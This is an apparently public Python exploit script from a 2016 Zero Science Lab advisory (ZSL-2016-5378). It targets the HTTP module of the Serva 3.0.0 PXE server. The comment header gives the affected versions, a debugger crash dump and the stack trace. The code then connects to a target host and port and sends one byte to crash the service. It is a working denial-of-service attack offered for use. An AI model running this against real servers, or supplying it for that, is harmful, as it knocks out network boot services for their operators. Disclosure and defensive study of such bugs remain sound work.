#!/usr/bin/env python### Serva 3.0.0 HTTP Server Module Remote Denial of Service Exploit### Vendor: Patrick Masotta# Product web page: http://www.vercot.com# Affected version: 3.0.0.1001 (Community, Pro, 32/64bit)## Summary: Serva is a light (~3 MB), yet powerful Microsoft Windows application.# It was conceived mainly as an Automated PXE Server Solution Accelerator. It bundles# on a single exe all of the underlying server protocols and services required by the# most complex PXE network boot/install scenarios simultaneously delivering Windows and# non-Windows assets to BIOS and UEFI based targets.## Desc: The vulnerability is caused by the HTML (httpd) module and how it handles TCP requests.# This can be exploited to cause a denial of service attack resulting in application crash.## ----------------------------------------------------------------------------## (c1c.4bc): C++ EH exception - code e06d7363 (first chance)# (c1c.4bc): C++ EH exception - code e06d7363 (!!! second chance !!!)# *** WARNING: Unable to verify checksum for C:\Users\lqwrm\Desktop\Serva_Community_32_v3.0.0\Serva32.exe# *** ERROR: Module load completed but symbols could not be loaded for C:\Users\lqwrm\Desktop\Serva_Community_32_v3.0.0\Serva32.exe# eax=03127510 ebx=03127670 ecx=00000003 edx=00000000 esi=03127670 edi=031276a0# eip=74a1c54f esp=03127510 ebp=03127560 iopl=0 nv up ei pl nz ac po nc# cs=0023ss=002bds=002bes=002bfs=0053gs=002b efl=00000212# KERNELBASE!RaiseException+0x58:# 74a1c54f c9leave# 0:013> kb# # ChildEBP RetAddrArgs to Child# 00 03127560 004abaaf e06d7363 00000001 00000003 KERNELBASE!RaiseException+0x58# WARNING: Stack unwind information not available. Following frames may be wrong.# 01 03127598 004cc909 031275b8 005e13e8 6ca23755 Serva32+0xabaaf# 02 03127608 004085d3 0211ecf8 03127670 ffffffff Serva32+0xcc909# 03 0312761c 004089a5 031276a0 fffffffd 00000004 Serva32+0x85d3# 04 0312764c 00408f01 03127670 fffffffd 00000004 Serva32+0x89a5# 05 03127698 00413b38 00000000 0040007a 00000000 Serva32+0x8f01# 06 031277d8 00000000 00000000 00000000 00000000 Serva32+0x13b38## ----------------------------------------------------------------------------## Tested on: Microsoft Windows 7 Professional SP1 (EN)### Vulnerability discovered by Gjoko 'LiquidWorm' Krstic# @zeroscience### Advisory ID: ZSL-2016-5378# Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2016-5378.php### 17.11.2016#
import sys,socket
if len(sys.argv) < 3:
print '\nUsage: '+ sys.argv[0]+' <target> <port>\n'
print 'Example: '+ sys.argv[0]+' 172.19.0.214 80\n'
sys.exit(0)
host = sys.argv[1]
port = int(sys.argv[2])
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect = s.connect((host, port))
s.settimeout(251)
s.send('z')
s.close
